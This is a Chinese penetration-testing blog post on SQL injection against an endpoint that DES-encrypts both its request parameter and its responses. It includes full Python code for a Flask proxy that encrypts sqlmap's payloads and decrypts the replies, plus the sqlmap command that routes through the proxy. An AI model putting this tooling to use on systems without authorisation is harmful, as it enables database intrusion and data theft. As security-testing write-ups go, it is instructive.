渗透测试-响应加密SQL注入

在渗透的时候,发现有一处注入点请求参数进行了des加密,并且响应包也通过des进行了加密。想使用sqlmap进行注入,发现sqlmap不支持响应包处理操作(tamper只适用于请求包处理)。通过flask进行处理,最终使用sqlmap成功注入。

sqlmap-result.png

寻找注入点

发现一处页面名称为doQuery,猜测是用来执行查询功能。POST请求包:其参数名为reqParam,其值为des加密字段(url编码)。

request.png

经过验证确实为des加密,如何寻找key、iv在此就不赘述了,可以去渗透测试-加密SQL注入了解。

des-req.png

查看对应的响应包,发现整个响应包内容都被加密了

des-resp.png

使用对应的key能将响应包内容解密出来。

des-resp.png

SQLMap

问题归纳

本以为SQLMap会自带功能对响应包进行解密,毕竟SQLMap支持自定义脚本(tamper)对请求包进行处理。根据sqlmap官方github仓库的issues,得知SQLMap不支持对响应内容进行编码处理。现在的问题点在于如何对response进行处理,认真想了想sqlmap支持proxy进行代理,那么可以通过代理将请求转发过来,由代理服务器对请求、响应进行处理。

flask代理

需要实现几个关键点:

  • 对请求参数reqParam的值进行des加密,假定该值为encrypt_str
  • 对encrypt_str进行url编码处理,假定该值为post_data
  • 对响应包进行解密

这里就直接贴代码给大家参考参考。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
import pyDes
import requests
import logging
from flask import Flask, request, Response
from urllib.parse import unquote, quote


app = Flask(__name__)


@app.before_request
def proxy():
secret_key = b"****"
k = pyDes.des(secret_key, pyDes.ECB, pad=None, padmode=pyDes.PAD_PKCS5)
encrypt_test_str = unquote(request.get_data().decode())[9:]
encrypt_str = k.encrypt(encrypt_test_str)
post_data = b'reqParam=' + quote(base64.b64encode(encrypt_str)).encode()
app.logger.info("Encrypt data:%s", post_data)
resp = requests.request(
method=request.method,
url=request.url,
headers={key: value for (key, value) in request.headers if key != 'Host'},
data=post_data,
cookies=request.cookies, allow_redirects=False, verify=False)
excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
headers = [(name, value) for (name, value) in resp.raw.headers.items()
if name.lower() not in excluded_headers]
response_data = base64.b64decode(resp.content)
if b"false" in k.decrypt(response_data):
app.logger.error('Response data:%s', k.decrypt(response_data))
else:
app.logger.info('Response data:%s', k.decrypt(response_data))
response = Response(k.decrypt(response_data), resp.status_code, headers)
return response


if __name__ == '__main__':
app.run(host="0.0.0.0", debug=True)

将请求保存到sql.txt里,需要注意的是在sql.txt中reqParam参数需为解密之后字符串。

1
sudo python sqlmap.py -r sql.txt --proxy http://127.0.0.1:5000

SQL注入问题解决

现在已经可以通过flask对请求、响应进行加密、解密等操作,但是查看sqlmap的返回结果,显示没有注入。Emmmm·····认真查看了json里面参数,发现有orderBy参数,直接使用*指定该参数,看看能不能有什么进展。

这时候发现响应内容为:{"errmsg":"ORA-01785: ORDER BY item must be the number of a SELECT-list expression\\n","success":false}'基本可以明确该点确实有问题,但是这次依旧跑不出来!

认真查看发现爆出了原始语句,最后对注入点的语句进行“优化”,成功跑出来。

总结

​ 1.有时候可以通过自己编写一些小工具辅助工作,例如本次使用flask结合sqlmap;

​ 2.在某些时候如果没有思路,对已有的信息再归纳归纳,或许有意想不到的收获,例如本次对注入点“优化”。